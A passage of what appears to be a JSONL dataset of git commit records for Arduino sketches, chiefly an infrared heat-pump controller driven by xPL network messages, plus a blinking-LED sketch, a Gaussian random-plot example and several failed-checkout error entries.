PANASONIC_AIRCON1_BIT_MARK, PANASONIC_AIRCON1_ZERO_SPACE, PANASONIC_AIRCON1_ONE_SPACE);\n\n mark(PANASONIC_AIRCON1_HDR_MARK);\n space(PANASONIC_AIRCON1_HDR_SPACE);\n\n if ( i < 5 ) {\n mark(PANASONIC_AIRCON1_BIT_MARK);\n space(PANASONIC_AIRCON1_MSG_SPACE);\n }\n }\n\n mark(PANASONIC_AIRCON1_BIT_MARK);\n space(0);\n}\n\n\/\/ Send the Panasonic DKE code\n\nvoid sendPanasonicDKE(byte operatingMode, byte fanSpeed, byte temperature, byte swingV, byte swingH)\n{\n byte DKE_template[] = { 0x02, 0x20, 0xE0, 0x04, 0x00, 0x00, 0x00, 0x06, 0x02, 0x20, 0xE0, 0x04, 0x00, 0x48, 0x2E, 0x80, 0xA3, 0x0D, 0x00, 0x0E, 0xE0, 0x00, 0x00, 0x01, 0x00, 0x06, 0xA2 };\n byte checksum = 0xF4;\n\n DKE_template[13] = operatingMode;\n DKE_template[14] = temperature << 1;\n DKE_template[16] = fanSpeed | swingV;\n DKE_template[17] = swingH;\n\n \/\/ Checksum\n\n for (int i=0; i<26; i++) {\n checksum += DKE_template[i];\n }\n\n DKE_template[26] = checksum;\n\n \/\/ 40 kHz PWM frequency\n enableIROut(40);\n\n \/\/ Header\n mark(PANASONIC_AIRCON2_HDR_MARK);\n space(PANASONIC_AIRCON2_HDR_SPACE);\n\n \/\/ First 8 bytes\n for (int i=0; i<8; i++) {\n sendIRByte(DKE_template[i], PANASONIC_AIRCON2_BIT_MARK, PANASONIC_AIRCON2_ZERO_SPACE, PANASONIC_AIRCON2_ONE_SPACE);\n }\n\n \/\/ Pause\n mark(PANASONIC_AIRCON2_BIT_MARK);\n space(PANASONIC_AIRCON2_MSG_SPACE);\n\n \/\/ Header\n mark(PANASONIC_AIRCON2_HDR_MARK);\n space(PANASONIC_AIRCON2_HDR_SPACE);\n\n \/\/ Last 19 bytes\n for (int i=8; i<27; i++) {\n sendIRByte(DKE_template[i], PANASONIC_AIRCON2_BIT_MARK, PANASONIC_AIRCON2_ZERO_SPACE, PANASONIC_AIRCON2_ONE_SPACE);\n }\n\n mark(PANASONIC_AIRCON2_BIT_MARK);\n space(0);\n}\n\n\/\/ Send the Midea code\n\nvoid sendMidea(byte operatingMode, byte fanSpeed, byte temperature)\n{\n byte sendBuffer[3] = { 0x4D, 0x00, 0x00 }; \/\/ First byte is always 0x4D\n\n byte temperatures[] = {0, 8, 12, 4, 6, 14, 10, 2, 3, 11, 9, 1, 5, 13 };\n\n byte OffMsg[] = {0x4D, 0xDE, 0x07 };\n byte FPMsg[] = {0xAD, 0xAF, 0xB5 };\n\n if (operatingMode == MIDEA_AIRCON1_MODE_OFF)\n {\n sendMidearaw( OffMsg );\n }\n else if (operatingMode == MIDEA_AIRCON1_MODE_FP)\n {\n sendMidearaw( FPMsg );\n }\n else\n {\n sendBuffer[1] = ~fanSpeed;\n\n if ( operatingMode == MIDEA_AIRCON1_MODE_FAN )\n {\n sendBuffer[2] = MIDEA_AIRCON1_MODE_DRY | 0x07;\n }\n else\n {\n sendBuffer[2] = operatingMode | temperatures[temperature-17];\n }\n\n \/\/ Send the code\n sendMidearaw(sendBuffer);\n }\n}\n\n\/\/ Send the Midea raw code\n\nvoid sendMidearaw(byte sendBuffer[])\n{\n \/\/ 40 kHz PWM frequency\n enableIROut(40);\n\n \/\/ Header\n mark(MIDEA_AIRCON1_HDR_MARK);\n space(MIDEA_AIRCON1_HDR_SPACE);\n\n \/\/ Six bytes, every second byte is a bitwise not of the previous byte\n for (int i=0; i<3; i++) {\n sendIRByte(sendBuffer[i], MIDEA_AIRCON1_BIT_MARK, MIDEA_AIRCON1_ZERO_SPACE, MIDEA_AIRCON1_ONE_SPACE);\n sendIRByte(~sendBuffer[i], MIDEA_AIRCON1_BIT_MARK, MIDEA_AIRCON1_ZERO_SPACE, MIDEA_AIRCON1_ONE_SPACE);\n }\n\n \/\/ Pause\n\n mark(MIDEA_AIRCON1_BIT_MARK);\n space(MIDEA_AIRCON1_MSG_SPACE);\n\n \/\/ Header, two last bytes repeated\n\n mark(MIDEA_AIRCON1_HDR_MARK);\n space(MIDEA_AIRCON1_HDR_SPACE);\n\n \/\/ Six bytes, every second byte is a bitwise not of the previous byte\n for (int i=0; i<3; i++) {\n sendIRByte(sendBuffer[i], MIDEA_AIRCON1_BIT_MARK, MIDEA_AIRCON1_ZERO_SPACE, MIDEA_AIRCON1_ONE_SPACE);\n sendIRByte(~sendBuffer[i], MIDEA_AIRCON1_BIT_MARK, MIDEA_AIRCON1_ZERO_SPACE, MIDEA_AIRCON1_ONE_SPACE);\n }\n\n \/\/ End mark\n\n mark(MIDEA_AIRCON1_BIT_MARK);\n space(0);\n}\n\n\/\/ Send a byte over IR\n\nvoid sendIRByte(byte sendByte, int bitMarkLength, int zeroSpaceLength, int oneSpaceLength)\n{\n for (int i=0; i<8 ; i++)\n {\n if (sendByte & 0x01)\n {\n mark(bitMarkLength);\n space(oneSpaceLength);\n }\n else\n {\n mark(bitMarkLength);\n space(zeroSpaceLength);\n }\n\n sendByte >>= 1;\n }\n}\n\n\/\/ 'mark', 'space' and 'enableIROut' have been taken\n\/\/ from Ken Shirriff's IRRemote library:\n\/\/ https:\/\/github.com\/shirriff\/Arduino-IRremote\n\nvoid mark(int time) {\n \/\/ Sends an IR mark for the specified number of microseconds.\n \/\/ The mark output is modulated at the PWM frequency.\n (TCCR2A |= _BV(COM2B1)); \/\/ Enable pin 3 PWM output\n delayMicroseconds(time);\n}\n\nvoid space(int time) {\n \/\/ Sends an IR space for the specified number of microseconds.\n \/\/ A space is no output, so the PWM output is disabled.\n (TCCR2A &= ~(_BV(COM2B1))); \/\/ Disable pin 3 PWM output\n delayMicroseconds(time);\n}\n\nvoid enableIROut(int khz) {\n pinMode(IR_LED_PIN, OUTPUT);\n digitalWrite(IR_LED_PIN, LOW); \/\/ When not sending PWM, we want it low\n\n const uint8_t pwmval = F_CPU \/ 2000 \/ (khz);\n TCCR2A = _BV(WGM20);\n TCCR2B = _BV(WGM22) | _BV(CS20);\n OCR2A = pwmval;\n OCR2B = pwmval \/ 3;\n}\n\n\n\/\/ Parse the xPL message and send Panasonic CKP IR codes\n\nvoid sendCKPCmd(xPL_Message * message)\n{\n int param = 0;\n byte i;\n\n \/\/ Sensible defaults for the heat pump mode\n\n byte powerMode = false;\n byte operatingMode = PANASONIC_AIRCON1_MODE_HEAT | PANASONIC_AIRCON1_MODE_KEEP;\n byte fanSpeed = PANASONIC_AIRCON1_FAN_AUTO;\n byte temperature = 23;\n byte swingV = PANASONIC_AIRCON1_VS_UP;\n byte swingH = PANASONIC_AIRCON1_HS_AUTO;\n\n for (i=0; i < message->command_count; i++)\n {\n param = atoi(message->command[i].value);\n\n if (strcmp(message->command[i].name, \"power\") == 0 )\n {\n switch (param)\n {\n case 1:\n powerMode = true;\n break;\n }\n }\n else if (strcmp(message->command[i].name, \"mode\") == 0 )\n {\n operatingMode &= PANASONIC_AIRCON1_MODE_KEEP;\n\n switch (param)\n {\n case 1:\n operatingMode |= PANASONIC_AIRCON1_MODE_AUTO;\n break;\n case 2:\n operatingMode |= PANASONIC_AIRCON1_MODE_HEAT;\n break;\n case 3:\n operatingMode |= PANASONIC_AIRCON1_MODE_COOL;\n break;\n case 4:\n operatingMode |= PANASONIC_AIRCON1_MODE_DRY;\n break;\n case 5:\n operatingMode |= PANASONIC_AIRCON1_MODE_FAN;\n break;\n }\n }\n else if (strcmp(message->command[i].name, \"fan\") == 0 )\n {\n switch (param)\n {\n case 1:\n fanSpeed = PANASONIC_AIRCON1_FAN_AUTO;\n break;\n case 2:\n fanSpeed = PANASONIC_AIRCON1_FAN1;\n break;\n case 3:\n fanSpeed = PANASONIC_AIRCON1_FAN2;\n break;\n case 4:\n fanSpeed = PANASONIC_AIRCON1_FAN3;\n break;\n case 5:\n fanSpeed = PANASONIC_AIRCON1_FAN4;\n break;\n case 6:\n fanSpeed = PANASONIC_AIRCON1_FAN5;\n break;\n }\n }\n else if (strcmp(message->command[i].name, \"temperature\") == 0 )\n {\n if ( param >= 15 && param <= 31)\n {\n temperature = param;\n }\n }\n else if (strcmp(message->command[i].name, \"vswing\") == 0 )\n {\n switch (param)\n {\n case 1:\n swingV = PANASONIC_AIRCON1_VS_AUTO;\n break;\n case 2:\n swingV = PANASONIC_AIRCON1_VS_UP;\n break;\n case 3:\n swingV = PANASONIC_AIRCON1_VS_MUP;\n break;\n case 4:\n swingV = PANASONIC_AIRCON1_VS_MIDDLE;\n break;\n case 5:\n swingV = PANASONIC_AIRCON1_VS_MDOWN;\n break;\n case 6:\n swingV = PANASONIC_AIRCON1_VS_DOWN;\n break;\n }\n }\n else if (strcmp(message->command[i].name, \"hswing\") == 0 )\n {\n switch (param)\n {\n case 1:\n swingH = PANASONIC_AIRCON1_HS_AUTO;\n break;\n case 2:\n swingH = PANASONIC_AIRCON1_HS_MANUAL;\n break;\n }\n }\n }\n\n sendPanasonicCKP(operatingMode, fanSpeed, temperature, swingV, swingH);\n delay(3000); \/\/ Sleep 3 seconds between the messages\n sendPanasonicCKPOnOff(powerMode);\n}\n\n\/\/ Parse the xPL message and send Panasonic DKE IR codes\n\nvoid sendDKECmd(xPL_Message * message)\n{\n int param = 0;\n byte i;\n\n \/\/ Sensible defaults for the heat pump mode\n\n byte operatingMode = PANASONIC_AIRCON2_TIMER_CNL;\n byte fanSpeed = PANASONIC_AIRCON2_FAN_AUTO;\n byte temperature = 23;\n byte swingV = PANASONIC_AIRCON2_VS_UP;\n byte swingH = PANASONIC_AIRCON2_HS_AUTO;\n\n for (i=0; i < message->command_count; i++)\n {\n param = atoi(message->command[i].value);\n\n if (strcmp(message->command[i].name, \"power\") == 0 )\n {\n switch (param)\n {\n case 1:\n operatingMode |= PANASONIC_AIRCON2_MODE_ON;\n break;\n }\n }\n else if (strcmp(message->command[i].name, \"mode\") == 0 )\n {\n switch (param)\n {\n case 1:\n operatingMode |= PANASONIC_AIRCON2_MODE_AUTO;\n break;\n case 2:\n operatingMode |= PANASONIC_AIRCON2_MODE_HEAT;\n break;\n case 3:\n operatingMode |= PANASONIC_AIRCON2_MODE_COOL;\n break;\n case 4:\n operatingMode |= PANASONIC_AIRCON2_MODE_DRY;\n break;\n case 5:\n operatingMode |= PANASONIC_AIRCON2_MODE_FAN;\n temperature = 27; \/\/ Temperature is always 27 in FAN mode\n break;\n }\n }\n else if (strcmp(message->command[i].name, \"fan\") == 0 )\n {\n switch (param)\n {\n case 1:\n fanSpeed = PANASONIC_AIRCON2_FAN_AUTO;\n break;\n case 2:\n fanSpeed = PANASONIC_AIRCON2_FAN1;\n break;\n case 3:\n fanSpeed = PANASONIC_AIRCON2_FAN2;\n break;\n case 4:\n fanSpeed = PANASONIC_AIRCON2_FAN3;\n break;\n case 5:\n fanSpeed = PANASONIC_AIRCON2_FAN4;\n break;\n case 6:\n fanSpeed = PANASONIC_AIRCON2_FAN5;\n break;\n }\n }\n else if (strcmp(message->command[i].name, \"temperature\") == 0 )\n {\n if ( param >= 15 && param <= 31 && temperature == 23)\n {\n temperature = param;\n }\n }\n else if (strcmp(message->command[i].name, \"vswing\") == 0 )\n {\n switch (param)\n {\n case 1:\n swingV = PANASONIC_AIRCON2_VS_AUTO;\n break;\n case 2:\n swingV = PANASONIC_AIRCON2_VS_UP;\n break;\n case 3:\n swingV = PANASONIC_AIRCON2_VS_MUP;\n break;\n case 4:\n swingV = PANASONIC_AIRCON2_VS_MIDDLE;\n break;\n case 5:\n swingV = PANASONIC_AIRCON2_VS_MDOWN;\n break;\n case 6:\n swingV = PANASONIC_AIRCON2_VS_DOWN;\n break;\n }\n }\n else if (strcmp(message->command[i].name, \"hswing\") == 0 )\n {\n switch (param)\n {\n case 1:\n swingH = PANASONIC_AIRCON2_HS_AUTO;\n break;\n case 2:\n swingH = PANASONIC_AIRCON2_HS_MIDDLE;\n break;\n case 3:\n swingH = PANASONIC_AIRCON2_HS_LEFT;\n break;\n case 4:\n swingH = PANASONIC_AIRCON2_HS_MLEFT;\n break;\n case 5:\n swingH = PANASONIC_AIRCON2_HS_RIGHT;\n break;\n case 6:\n swingH = PANASONIC_AIRCON2_HS_MRIGHT;\n break;\n }\n }\n }\n\n sendPanasonicDKE(operatingMode, fanSpeed, temperature, swingV, swingH);\n}\n\n\/\/ Parse the xPL message and send Panasonic DKE IR codes\n\nvoid sendMideaCmd(xPL_Message * message)\n{\n int param = 0;\n byte i;\n\n \/\/ Sensible defaults for the heat pump mode\n\n byte operatingMode = MIDEA_AIRCON1_MODE_HEAT;\n byte fanSpeed = MIDEA_AIRCON1_FAN_AUTO;\n byte temperature = 23;\n\n for (i=0; i < message->command_count; i++)\n {\n param = atoi(message->command[i].value);\n\n if (strcmp(message->command[i].name, \"power\") == 0 )\n {\n switch (param)\n {\n case 0:\n \/\/ OFF is a special case\n operatingMode = MIDEA_AIRCON1_MODE_OFF;\n sendMidea(operatingMode, fanSpeed, temperature);\n return;\n }\n }\n else if (strcmp(message->command[i].name, \"mode\") == 0 )\n {\n switch (param)\n {\n case 1:\n operatingMode = MIDEA_AIRCON1_MODE_AUTO;\n break;\n case 2:\n operatingMode = MIDEA_AIRCON1_MODE_HEAT;\n break;\n case 3:\n operatingMode = MIDEA_AIRCON1_MODE_COOL;\n break;\n case 4:\n operatingMode = MIDEA_AIRCON1_MODE_DRY;\n break;\n case 5:\n operatingMode = MIDEA_AIRCON1_MODE_FAN;\n break;\n case 6:\n \/\/ FP is a special case\n operatingMode = MIDEA_AIRCON1_MODE_FP;\n sendMidea(operatingMode, fanSpeed, temperature);\n return;\n }\n }\n else if (strcmp(message->command[i].name, \"fan\") == 0 )\n {\n switch (param)\n {\n case 1:\n fanSpeed = MIDEA_AIRCON1_FAN_AUTO;\n break;\n case 2:\n fanSpeed = MIDEA_AIRCON1_FAN1;\n break;\n case 3:\n fanSpeed = MIDEA_AIRCON1_FAN2;\n break;\n case 4:\n fanSpeed = MIDEA_AIRCON1_FAN3;\n break;\n }\n }\n else if (strcmp(message->command[i].name, \"temperature\") == 0 )\n {\n if ( param >= 17 && param <= 31 )\n {\n temperature = param;\n }\n }\n }\n\n sendMidea(operatingMode, fanSpeed, temperature);\n}\n\n\/\/ parse incoming xPL message\n\/\/ To test with xpl-perl:\n\/\/\n\/\/ xpl-sender -m xpl-cmnd -t xpl-arduino.heatpumpctrl -c aircon.ckp power=0 mode=2 fan=3 temperature=23\n\/\/ xpl-sender -m xpl-cmnd -t xpl-arduino.heatpumpctrl -c aircon.dke power=0 mode=2 fan=3 temperature=23\n\/\/ xpl-sender -m xpl-cmnd -t xpl-arduino.heatpumpctrl -c aircon.midea power=0 mode=2 fan=3 temperature=23\n\n\nvoid AfterParseAction(xPL_Message * message)\n{\n if (xpl.TargetIsMe(message))\n {\n if (message->IsSchema_P(PSTR(\"aircon\"), PSTR(\"dke\")))\n {\n sendDKECmd(message);\n }\n else if (message->IsSchema_P(PSTR(\"aircon\"), PSTR(\"ckp\")))\n {\n sendCKPCmd(message);\n }\n else if (message->IsSchema_P(PSTR(\"aircon\"), PSTR(\"midea\")))\n {\n sendMideaCmd(message);\n }\n\n Serial.println(\"Got xPL message:\");\n Serial.println(message->toString());\n Serial.println(\"\");\n }\n}\n\n\/\/ The setup\n\nvoid setup()\n{\n \/\/ Initialize serial\n Serial.begin(9600);\n Serial.print(\"Starting... \");\n\n \/\/ Ethernet shield reset trick\n \/\/ Need to cut the RESET lines (also from ICSP header) and connect an I\/O to RESET on the shield\n\n pinMode(ETHERNET_RST, OUTPUT);\n digitalWrite(ETHERNET_RST, HIGH);\n delay(50);\n digitalWrite(ETHERNET_RST, LOW);\n delay(50);\n digitalWrite(ETHERNET_RST, HIGH);\n delay(100);\n\n \/\/ generate or read the already generated MAC address\n generateMAC();\n\n \/\/ initialize the Ethernet adapter\n Ethernet.begin(macAddress, ip);\n\n \/\/ initialize the xPL UDP port\n Udp.begin(xpl.udp_port);\n\n \/\/ initialize xPL\n xpl.SendExternal = &SendUdPMessage; \/\/ pointer to the send callback\n xpl.AfterParseAction = &AfterParseAction; \/\/ pointer to a post parsing action callback\n xpl.SetSource_P(PSTR(\"xpl\"), PSTR(\"arduino\"), PSTR(\"heatpumpctrl\")); \/\/ parameters for hearbeat message\n\n Serial.println(\"Started\");\n}\n\n\/\/ The loop\n\/\/ * heartbeats\n\/\/ * xPL message processing\n\nvoid loop()\n{\n \/\/ xPL heartbeat management\n xpl.Process();\n\n \/\/ process incoming xPL packets\n int packetSize = Udp.parsePacket();\n if(packetSize)\n {\n char xPLMessageBuff[XPL_MESSAGE_BUFFER_MAX];\n\n \/\/ read the packet into packetBufffer\n Udp.read(xPLMessageBuff, XPL_MESSAGE_BUFFER_MAX);\n\n \/\/ parse message\n xpl.ParseInputMessage(xPLMessageBuff);\n }\n}\n\n\/\/ Random MAC based on:\n\/\/ http:\/\/files.pcode.nl\/arduino\/EthernetPersistentMAC.ino\n\/\/ A5 is the entropy PIN for random MAC generation, leave it unconnected\n\nvoid generateMAC()\n{\n randomSeed(analogRead(ENTROPY_PIN));\n \n \/\/ Uuncomment to generate a new MAC\n \/\/EEPROM.write(E2END - 8, 0x00);\n \/\/EEPROM.write(E2END - 7, 0x00);\n \n \/\/ We store the MAC address in the last 8 bytes of the EEPROM using E2END to determine it's size\n \/\/ The first of those two bytes are checked for the magic values 0x80 and 0x23 (a reference to 802.3)\n\n if ((EEPROM.read(E2END - 8) == 0x80) && (EEPROM.read(E2END - 7) == 0x23))\n {\n Serial.println(\"Reading MAC address from EEPROM\");\n for (int i = 0; i <= 5; i++)\n {\n macAddress[i] = EEPROM.read(E2END - 6 + i);\n }\n }\n else\n {\n Serial.println(\"Writing new random MAC address to EEPROM\");\n \n EEPROM.write(E2END - 8, 0x80);\n EEPROM.write(E2END - 7, 0x23);\n for (int i = 0; i <= 5; i++)\n {\n \/\/ Skip the Organisationally Unique Identifier (OUI) \n \/\/ Randomize only the Network Interface Controller specific part\n if (i >= 3)\n {\n macAddress[i] = random(0, 255);\n }\n EEPROM.write(E2END - 6 + i, macAddress[i]);\n }\n }\n snprintf(macstr, 18, \"%02X:%02X:%02X:%02X:%02X:%02X\", macAddress[0], macAddress[1], macAddress[2], macAddress[3], macAddress[4], macAddress[5]);\n\n \/\/ Print out the MAC address\n Serial.print(\"MAC: \");\n Serial.println(macstr);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'panasonic_heatpump.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"f583b858f0a260dd6e9a3c6cce647a5e9c8f2bed","subject":"Update wifi-localization.ino","message":"Update wifi-localization.ino","repos":"TheThingsNetwork\/workshops,TheThingsNetwork\/workshops","old_file":"The Things Network\/localization\/wifi-localization.ino","new_file":"The Things Network\/localization\/wifi-localization.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'The' did not match any file(s) known to git\nerror: pathspec 'Things' did not match any file(s) known to git\nerror: pathspec 'Network\/localization\/wifi-localization.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"8a144c0bb037b61629552a46fb354c729d44a7c6","subject":"Integrated TimerTwo correctly, as implemented in testTimerTwo. Not quite done -- it's currently broken -- but commit'ing just in case I mess it up right away and want to revert. Added terrible circuit diagram. Changed code style from opening braces at the end of previous statement to opening on their own line. It's cleaner, easier to read.","message":"Integrated TimerTwo correctly, as implemented in testTimerTwo. Not quite done -- it's currently broken -- but commit'ing just in case I mess it up right away and want to revert.\nAdded terrible circuit diagram.\nChanged code style from opening braces at the end of previous statement to opening on their own line. It's cleaner, easier to read.\n","repos":"tyblu\/comp444-random,tyblu\/comp444-random,tyblu\/comp444-random,tyblu\/comp444-random","old_file":"Motor Speed\/testInterrupts2\/testInterrupts2.ino","new_file":"Motor Speed\/testInterrupts2\/testInterrupts2.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Motor' did not match any file(s) known to git\nerror: pathspec 'Speed\/testInterrupts2\/testInterrupts2.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"bce2388bff202d2b029eb753710ec087204a2f8c","subject":"only turn on bluetooth when the cavalry is being called","message":"only turn on bluetooth when the cavalry is being called\n","repos":"GalacticSmarties\/electra","old_file":"Arduino\/Electra\/Electra.ino","new_file":"Arduino\/Electra\/Electra.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/GalacticSmarties\/electra.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"ab2ca408179d9ed5c657f70012fc592b26c374f1","subject":"Add blank arduino sketch","message":"Add blank arduino sketch\n","repos":"jaredkotoff\/CSUFIEEECS","old_file":"arduino_101\/arduino_101.ino","new_file":"arduino_101\/arduino_101.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/jaredkotoff\/CSUFIEEECS.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"c20cb0053af16f0b40d53319d12179b1f303befb","subject":"rm demo;arrange static varible;speedup parking","message":"rm demo;arrange static varible;speedup parking\n","repos":"lushl9301\/Yellow-SubArena","old_file":"exploration use IR sensor to turn\/src\/main.ino","new_file":"exploration use IR sensor to turn\/src\/main.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'exploration' did not match any file(s) known to git\nerror: pathspec 'use' did not match any file(s) known to git\nerror: pathspec 'IR' did not match any file(s) known to git\nerror: pathspec 'sensor' did not match any file(s) known to git\nerror: pathspec 'to' did not match any file(s) known to git\nerror: pathspec 'turn\/src\/main.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"06abc7febdd27fb8deed5ea01bd3d111a41058c0","subject":"Filling in the start of the connecticut halftime","message":"Filling in the start of the connecticut halftime\n\nbrute force style.\n","repos":"meatballhat\/box-o-sand,meatballhat\/box-o-sand,meatballhat\/box-o-sand,meatballhat\/box-o-sand,meatballhat\/box-o-sand,meatballhat\/box-o-sand,meatballhat\/box-o-sand,meatballhat\/box-o-sand,meatballhat\/box-o-sand,meatballhat\/box-o-sand,meatballhat\/box-o-sand,meatballhat\/box-o-sand,meatballhat\/box-o-sand","old_file":"arduino\/ConnecticutHalftime\/ConnecticutHalftime.ino","new_file":"arduino\/ConnecticutHalftime\/ConnecticutHalftime.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/meatballhat\/box-o-sand.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"89b3df1436b5e2455af0b716d4aebf872ac982fb","subject":"added blink and drive","message":"added blink and drive\n","repos":"garmstrong456\/TEC-Bot-Zumo-Cornell,garmstrong456\/TEC-Bot-Zumo-Cornell","old_file":"daily code\/Day 4\/blink_and_drive\/blink_and_drive.ino","new_file":"daily code\/Day 4\/blink_and_drive\/blink_and_drive.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'daily' did not match any file(s) known to git\nerror: pathspec 'code\/Day' did not match any file(s) known to git\nerror: pathspec '4\/blink_and_drive\/blink_and_drive.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"4e126b39b4bca7d2b782e485064fce18eb1ff4e7","subject":"Arduino UNO\u200a\u2014\u200aQuick Intro\u200a\u2014A Workshop in BSB w Kids\u200a\u2014Code 1","message":"Arduino UNO\u200a\u2014\u200aQuick Intro\u200a\u2014A Workshop in BSB w Kids\u200a\u2014Code 1\n\nArduino UNO\u200a\u2014\u200aQuick Intro\u200a\u2014A Workshop in BSB w Kids\u200a\u2014Code 1","repos":"giljr\/kidSeries,giljr\/kidSeries,giljr\/kidSeries","old_file":"_10_Blinking_LED_01.ino","new_file":"_10_Blinking_LED_01.ino","new_contents":"\n\/*\n Kids-Serie#10\n Project : Arduino Start Up\n\n\n Ino File: _10_Blinking_LED_01.ino\n\n Flavour 01\n\n Date: Nov 2018\n\n Description: Let's say I want to flash an LED connected to Pin 3\n\n\n Board: Arduino UNO\n\n Arduino IDE: 1.8.7\n\n Connections: See Fritzing in Jungletronics:\n\n Credits: This sketch was in public domain.\n\n Based on: Collin's Lab: Arduino\n https:\/\/youtu.be\/pnf8ojsK6S4\n\n Terms of Use: This program is free software: you can redistribute it and\/or modify\n it under the terms of the GNU General Public License v3 as published by\n the Free Softw are Foundation - There is no guarantee whatsoever :)\n Use at your own risk!\n*\/\n\nvoid setup() {\n \/\/ put your setup code here, to run once:\n pinMode(3, OUTPUT);\n\n}\n\nvoid loop() {\n \/\/ put your main code here, to run repeatedly:\n digitalWrite(3, HIGH);\n\n delay(500);\n\n digitalWrite(3, LOW);\n\n delay(500);\n\n}\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec '_10_Blinking_LED_01.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"32b86595a599bde5a12a80467e63c4b5912f815d","subject":"testing speed & position","message":"testing speed & position\n","repos":"trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone","old_file":"_5031Test\/_5031Test.ino","new_file":"_5031Test\/_5031Test.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/trinamic\/T-Bone.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"e11aaec45e5d9130067c17092ebc6fa309132487","subject":"Create FlightController.ino","message":"Create FlightController.ino","repos":"GaParmar\/quadcopter,GaParmar\/quadcopter","old_file":"FlightController.ino","new_file":"FlightController.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/GaParmar\/quadcopter.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"9d57fff6a57188ec1525bd316a34cbe224cd126b","subject":"Example GaussianRandomPlot created","message":"Example GaussianRandomPlot created\n\nThis example helps to understand what is the new method \"random\" of\nGaussian.\n","repos":"ivankravets\/Gaussian,ivanseidel\/Gaussian","old_file":"examples\/GaussianRandomPlot\/GaussianRandomPlot.ino","new_file":"examples\/GaussianRandomPlot\/GaussianRandomPlot.ino","new_contents":"#include <Gaussian.h>\nvoid setup() {\n\tSerial.begin(9600);\n\tSerial.println(\"\\n\\nStarting Random Gaussian Distribuition...\");\n\tdelay(20);\n\trandomSeed(analogRead(0));\n}\n\n\/\/ The number of \"slots\" to record the hits of gaussian random\n#define SIZE 36\n\n\/\/ How many tests will be performed\n#define TESTS 10000\n\n\/\/ How many characters will have, in width?\n#define BAR_SIZE 40\n\nvoid loop() {\n\tGaussian g1 = Gaussian(0, 10);\n\tlong zero = SIZE\/2 - g1.mean; \n\tlong hits[SIZE] = {0};\n\n\t\/\/ Zero the array\n\tfor(int i = 0; i < SIZE; i++)\n\t\thits[i] = 0;\n\n\t\/\/ Print Header (0% ------------- 100%)\n\tSerial.print(\"0% \");\n\n\tfor(int i = 3; i < BAR_SIZE - 5; i++)\n\t\tSerial.print(\"-\");\n\n\tSerial.println(\" 100%\");\n\n\t\/\/ Process the gaussians and randomize 'TESTS' times\n\tint lastStep = 0, step;\n\tSerial.print(\"=\");\n\tfor(int i = 0; i < TESTS; i++){\n\t\tstep = (double)i\/TESTS*BAR_SIZE;\n\t\tif(step > lastStep){\n\t\t\tSerial.print(\"=\");\n\t\t\tlastStep = step;\n\t\t}\n\n\t\tdouble val = g1.random();\n\t\tint place = (int)val - g1.mean + zero;\n\t\tplace = constrain(place, 0, SIZE);\n\t\thits[place]++;\n\t}\n\tSerial.print(\" END!\\n\");\n\n\t\/\/ Just to scale the plot on the Serial, to improve visualization\n\tlong maxHit = 0;\n\tfor(int i = 0; i < SIZE; i++){\n\tmaxHit = max(maxHit, hits[i]);\n\t\t\/\/ Uncomment this line if you want to see the NUMBER of hits\n\t\t\/\/ Serial.println(hits[i]);\n\t}\n\n\t\/\/ This will print the bar graphic\n\tdouble scale = (double)maxHit\/BAR_SIZE;\n\tSerial.print(\"Scale: \");\n\tSerial.print(scale);\n\tSerial.print(\"\\tMaxHit: \"); \n\tSerial.println(maxHit);\n\n\tfor(int i = 0; i < SIZE; i++){\n\t\tint len = hits[i]\/scale;\n\n\t\tfor(int x = 0; x < len; x++)\n\t\t\tSerial.print(\"=\");\n\n\t\tSerial.print(\"\\n\");\n\t}\n\n\t\/\/ Wait until dinosaurs come back on earth\n\twhile(1);\n}","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/GaussianRandomPlot\/GaussianRandomPlot.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} 